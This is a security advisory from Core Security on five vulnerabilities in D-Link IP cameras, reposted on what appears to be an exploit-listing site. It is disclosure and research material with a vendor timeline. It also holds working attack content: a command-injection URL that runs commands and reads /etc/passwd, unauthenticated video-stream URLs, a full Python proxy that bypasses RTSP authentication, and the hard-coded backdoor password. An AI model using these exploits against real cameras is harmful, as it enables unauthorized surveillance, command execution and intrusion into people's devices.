发布 2013-05-01 漏洞条目

D-Link IP Cameras – Multiple Vulnerabilities

Exploit Source

Core Security - Corelabs Advisory

http://corelabs.coresecurity.com/

D-Link IP Cameras Multiple Vulnerabilities

1. *Advisory Information*

Title: D-Link IP Cameras Multiple Vulnerabilities

Advisory ID: CORE-2013-0303

Advisory URL:

http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities

Date published: 2013-04-29

Date of last update: 2013-03-29

Vendors contacted: D-Link Corporation

Release mode: Coordinated release

2. *Vulnerability Information*

Class: OS command injection [CWE-78], Authentication issues [CWE-287],

Information leak through GET request [CWE-598], Authentication issues

[CWE-287], Use of hard-coded credentials [CWE-798]

Impact: Code execution, Security bypass

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,

CVE-2013-1603

3. *Vulnerability Description*

Multiple vulnerabilities have been found in D-Link IP cameras [1] that

could allow an unauthenticated remote attacker:

1. [CVE-2013-1599] to execute arbitrary commands from the

administration web interface,

2. [CVE-2013-1600] to access the video stream via HTTP,

3. [CVE-2013-1601] to access the ASCII video stream via image luminance,

4. [CVE-2013-1602] to access the video stream via RTSP,

5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded

credentials.

4. *Vulnerable Packages*

The following is the list of affected devices and the associated

firmware (confirmed by D-Link). Other SKUs are probably affected too,

but they were not checked.

[CVE-2013-1599]

. DCS-3411/3430 - firmware v1.02

. DCS-5605/5635 - v1.01

. DCS-1100L/1130L - v1.04

. DCS-1100/1130 - v1.03

. DCS-1100/1130 - v1.04_US

. DCS-2102/2121 - v1.05_RU

. DCS-3410 - v1.02

. DCS-5230 - v1.02

. DCS-5230L - v1.02

. DCS-6410 - v1.00

. DCS-7410 - v1.00

. DCS-7510 - v1.00

. WCS-1100 - v1.02

[CVE-2013-1600]

. DCS-2102/2121 - v1.05_RU

. DCS-2102/2121 - v1.06

. DCS-2102/2121 - v1.06_FR

. TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1601] and [CVE-2013-1603]

. DCS-3411/3430 - v1.02

. DCS-5605/5635 - v1.01

. DCS-1100L/1130L - v1.04

. DCS-1100/1130 - v1.03

. DCS-1100/1130 - v1.04_US

. DCS-2102/2121 - v1.05_RU

. DCS-2102/2121 - v1.06

. DCS-2102/2121 - v1.06_FR

. TESCO DCS-2102/2121 - v1.05_TESCO

. DCS-3410 - v1.02

. DCS-5230 - v1.02

. DCS-5230L - v1.02

. DCS-6410 - v1.00

. DCS-7410 - v1.00

. DCS-7510 - v1.00

. WCS-1100 - v1.02

[CVE-2013-1602]

. ALL mentioned devices and firmware.

5. *Vendor Information, Solutions and Workarounds*

D-Link announces that all patches are ready and scheduled for posting on

corporate web site for all customers [2013-04-25]. Contact D-Link for

further information.

6. *Credits*

[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and

researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers

Team.

[CVE-2013-1602] was discovered and researched by Martin Rocha from Core

Impact Pro Team. The PoC was made by Martin Rocha with help of Juan

Cotta from Core QA Team.

[CVE-2013-1603] was discovered and researched by Pablo Santamaria from

Core Security Consulting Services.

The publication of this advisory was coordinated by Fernando Miranda

from Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

7.1. *OS Command Injection*

[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi'

allows an unauthenticated remote attacker to execute arbitrary commands

through the camera's web interface. The OS command injection is due to

this code in 'rtpd.cgi':

/-----

echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain

spaces."

. $conf > /dev/null 2> /dev/null

eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

-----/

The first line of this snippet basically ensures that there are no

spaces in '$QUERY_STRING'. The last line uses 'sed' to replace

ampersands '&' with spaces, and then call to the function 'eval()',

resulting in a typical command injection. For example, in order to execute:

/-----

uname -a;cat /etc/passwd

-----/

the following request can be sent to the camera web interface:

/-----

http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd

-----/

7.2. *Authentication Bypass*

[CVE-2013-1600] The live video stream can be accessed without

authentication by a remote attacker via the following request:

/-----

http://192.168.1.100/upnp/asf-mp4.asf

-----/

7.3. *ASCII Video Stream Information Leak*

[CVE-2013-1601] An ASCII output (the image luminance) of the live video

stream can be accessed by a remote unauthenticated attacker via:

/-----

http://192.168.1.100/md/lums.cgi

-----/

The following example is the output of a coffee pot video stream [2]:

/-----

O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o

O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o

O O O O O O O O O O O O O O O O O O . . . o O O o o o o o o o o o o o

O O O O O O O O O O O O o o O O o . . o o o o o o o o o o o o o o

O O O O O O O O O O O O o o o o . . . . . . o o o o o o o

O O O O O O O O O O o . o O O o . o o o o o o

O O O O O O O O O . . o o o o o o

O O O O O O O O . . o o o o o o o o

O O O O O O O . . o O O o . . o o o o o o o o o

O O O O O O o . O O O O O O . o o o o o o o o o

O O O O O O . O O O O O O O . . . . . o o o o o o o o o

O O O O O O o O O O O O O O . . . o . . . o o o o o o o o

O O O O O O o O O O O O O O . . . o o o . . . . . . . o o o o o o o o

O O O O O O o O O O O O O o . o O O o O O . . . . . . . . o o o o o o o

O O O O O O . o O O O O O O o . O O O o O O . . . . . . . . . o o o o o o

O O O O O O . . O O O O O o . . O O o o O O o . . . . . . . . o o o o o o

O O O O O O o O O O O O o . o O O o o O O o . . . . . . . . . o o o o o

O O O O O O O O O O O O . . o O O o o O O o . . . . . . . . . o o o o o

O O O O O O O . o O O O o . o o o O o o O O o . . . . . . . . . . o o o o

O O O O O O O o . O O O o . o o o O o o O O o . . . . . . . . . . o o o o

O O O O O O O O . O O O . . o o o O o o O O o . . . . . . . . . . o o o o

O O O O O O O O O O O . . o o o O o o O O o . . . . . . . . . . . o o o

O O O O O O O O o o O o o o o o O o o o O o . . . . . . . . . . . o o o

O O O O O O O O O . O o o o o o O o . o O o . . . . . . . . . . . . o o

O O O O O O O O O . O o . o o o o O . . o O o . . . . . . . . . . . . . o

O O O O O O O O O o o . . o o o o o . . o O o . . . . . . . . . . . o

O O O O O O O O O O . . . o o o . o . . o O o . . . . . .

o O O O O O O O O O . . o o o . o . . . O o . . .

o o O O O O O O O O o . o o o . o . . . O o . .

o o o O O O O O O O o . o o o . o . . . O o .

-----/

7.4. *RTSP Authentication Bypass*

[CVE-2013-1602] This vulnerability is triggered because:

1. Authentication is only present in DESCRIBE requests but not in

every subsequent request.

2. When the RTSP session is being established, the authentication

request of current session is ignored (a previously stored response is

used instead).

As a result, the video stream can be accessed by an unauthenticated

remote attacker.

/-----

import sys

from socket import *

from threading import Thread

import time, re

LOGGING = 1

def log(s):

if LOGGING:

print '(%s) %s' % (time.ctime(), s)

class UDPRequestHandler(Thread):

def __init__(self, data_to_send, recv_addr, dst_addr):

Thread.__init__(self)

self.data_to_send = data_to_send

self.recv_addr = recv_addr

self.dst_addr = dst_addr

def run(self):

sender = socket(AF_INET, SOCK_DGRAM)

sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)

sender.sendto(self.data_to_send, self.dst_addr)

response = sender.recv(1024)

sender.sendto(response, self.recv_addr)

sender.close()

class UDPDispatcher(Thread):

dispatchers = []

def __has_dispatcher_for(self, port):

return any([d.src_port == port for d in UDPDispatcher.dispatchers])

def __init__(self, src_port, dst_addr):

Thread.__init__(self)

if self.__has_dispatcher_for(src_port):

raise Exception('There is already a dispatcher for port %d'

% src_port)

self.src_port = src_port

self.dst_addr = dst_addr

UDPDispatcher.dispatchers.append(self)

def run(self):

listener = socket(AF_INET, SOCK_DGRAM)

listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)

listener.bind(('', self.src_port))

while 1:

try:

data, recv_addr = listener.recvfrom(1024)

if not data: break

UDPRequestHandler(data, recv_addr, self.dst_addr).start()

except Exception as e:

print e

break

listener.close()

UDPDispatcher.dispatchers.remove( self )

class PipeThread(Thread):

pipes = []

def __init__(self, source, sink, process_data_callback=lambda x: x):

Thread.__init__(self)

self.source = source

self.sink = sink

self.process_data_callback = process_data_callback

PipeThread.pipes.append(self)

def run(self):

while 1:

try:

data = self.source.recv(1024)

data = self.process_data_callback(data)

if not data: break

self.sink.send( data )

except Exception as e:

log(e)

break

PipeThread.pipes.remove(self)

class TCPTunnel(Thread):

def __init__(self, src_port, dst_addr, process_data_callback=lambda

x: x):

Thread.__init__(self)

log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port,

dst_addr[0], dst_addr[1]))

self.dst_addr = dst_addr

self.process_data_callback = process_data_callback

# Create TCP listener socket

self.sock = socket(AF_INET, SOCK_STREAM)

self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)

self.sock.bind(('', src_port))

self.sock.listen(5)

def run(self):

while 1:

# Wait until a new connection arises

newsock, address = self.sock.accept()

# Create forwarder socket

fwd = socket(AF_INET, SOCK_STREAM)

fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)

fwd.connect(self.dst_addr)

# Pipe them!

PipeThread(newsock, fwd, self.process_data_callback).start()

PipeThread(fwd, newsock, self.process_data_callback).start()

class Camera():

def __init__(self, address):

self.address = address

def get_describe_data(self):

return ''

class DLink(Camera):

# D-Link DCS-2102/1.06-5731

def __init__(self, address):

Camera.__init__(self, address)

def get_describe_data(self):

return

'\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a'

class RTSPAuthByPasser():

DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'

UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'

SERVER_PORT_ARGUMENTS = 'server_port='

DEFAULT_CSEQ = 1

DEFAULT_SERVER_PORT_RANGE = '5556-5559'

def __init__(self, local_port, camera):

self.last_describe_req = ''

self.camera = camera

self.local_port = local_port

def start(self):

log('[!] Starting bypasser')

TCPTunnel(self.local_port, self.camera.address,

self.spoof_rtsp_conn).start()

def spoof_rtsp_conn(self, data):

if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:

self.last_describe_req = data

elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and

self.last_describe_req:

log('[!] Unauthorized response received. Spoofing...')

spoofed_describe = self.camera.get_describe_data()

# Look for the request CSeq

m = re.search('.*CSeq:\\s*(\\d+?)\r\n.*',

self.last_describe_req)

cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ

# Create the response

data = 'RTSP/1.0 200 OK\r\n'

data+= 'CSeq: %s\r\n' % cseq

data+= 'Content-Type: application/sdp\r\n'

data+= 'Content-Length: %d\r\n' % len(spoofed_describe)

data+= '\r\n'

# Attach the spoofed describe

data+= spoofed_describe

elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:

# Look for the server RTP ports

m = re.search('.*%s\\s*(.+?)[;|\r].*' %

RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)

ports = m.group(1) if m else

RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE

# For each port in the range create a UDP dispatcher

begin_port, end_port = map(int, ports.split('-'))

for udp_port in xrange(begin_port, end_port + 1):

try:

UDPDispatcher(udp_port, (self.camera.address[0],

udp_port)).start()

except:

pass

return data

if __name__ == '__main__':

if len( sys.argv ) > 1:

listener_port = camera_port = int(sys.argv[1])

camera_ip = sys.argv[2]

if len(sys.argv) == 4:

camera_port = int(sys.argv[3])

RTSPAuthByPasser(listener_port, DLink((camera_ip,

camera_port))).start()

else:

print 'usage: python %s [local_port] [camera_ip]

[camera_rtsp_port]'

-----/

7.5. *RTSP Hard-Coded Credentials*

[CVE-2013-1603] RTSP service contains hard-coded credentials that

effectively serve as a backdoor, which allows remote attackers to access

the RTSP video stream.

/-----

username: (any)

password: ?*

-----/

As we can see in the following dump, the submitted password is compared

with the string ':?*' (the character ':' is used for concatenation of

'username:password'). This code belongs to the binary 'rtspd':

/-----

.text:00011468 loc_11468 ; Load from Memory

.text:00011468 LDR R3, [R11,#s2]

.text:0001146C STR R3, [R11,#var_C0] ; Store to Memory

.text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory

.text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory

.text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2

.text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2

.text:00011480 STR R3, [R11,#var_C0] ; Store to Memory

.text:00011484 LDR R0, [R11,#var_C0] ; s1

.text:00011488 LDR R1, =asc_1B060 ; ":?*" <-------

.text:0001148C MOV R2, #3 ; n

.text:00011490 BL strncmp ; Branch with Link

.text:00011494 MOV R3, R0 ; Rd = Op2

.text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2

.text:0001149C BNE loc_114BC ; Branch

-----/

8. *Report Timeline*

. 2013-03-19:

Core Security Technologies notifies the D-Link team of the vulnerability.

. 2013-03-20:

D-Link team asks for a technical description of the vulnerability.

. 2013-03-20:

Core sends a draft advisory with technical details and set the estimated

publication date of the advisory for May 14th, 2013.

. 2013-03-20:

Vendor notifies that D-Link Corporation has an unpublished bounty

program for security advisors. The bounty program requires both Core

Security and D-Link to sign a memo of understanding (MoU).

. 2013-03-25:

Core notifies that receiving money from vendors may bias the view of the

report and rejects the bounty program.

. 2013-03-29:

Vendor notifies that they hope to close the fix ASAP.

. 2013-04-08:

Vendor sends the list of vulnerable devices and the associated firmware

and notifies that they will release patches and release notes on the

D-Link support forum first. Then, an official public release will be

announced (approx. 1 month from forum post to full release).

. 2013-04-24:

Core asks for a clarification regarding the D-Link release date and

notifies that releasing fixes to a privileged closed group and/or a

closed forum or list is unacceptable.

. 2013-04-25:

Vendor notifies that the patches are ready and scheduled for posting on

D-Link web site over the next few days.

. 2013-04-26:

Core notifies that the advisory is re-scheduled for Monday 29th.

. 2013-04-29:

Advisory CORE-2013-0303 published.

9. *References*

[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras.

[2]

http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.

10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged

with anticipating the future needs and requirements for information

security technologies. We conduct our research in several important

areas of computer security including system vulnerabilities, cyber

attack planning and simulation, source code auditing, and cryptography.

Our results include problem formalization, identification of

vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers,

project information and shared software tools for public use at:

http://corelabs.coresecurity.com.

11. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats

with security test and measurement solutions that continuously identify

and demonstrate real-world exposures to their most critical assets. Our

customers can gain real visibility into their security standing, real

validation of their security controls, and real metrics to more

effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted

research and leading-edge threat expertise from the company's Security

Consulting Services, CoreLabs and Engineering groups. Core Security

Technologies can be reached at +1 (617) 399-6980 or on the Web at:

http://www.coresecurity.com.

12. *Disclaimer*

Commons Attribution Non-Commercial Share-Alike 3.0 (United States)

License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security

Technologies advisories team, which is available for download at

http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

作者: Core Security
日期: 2013-05-01
类别: webapps
平台: hardware

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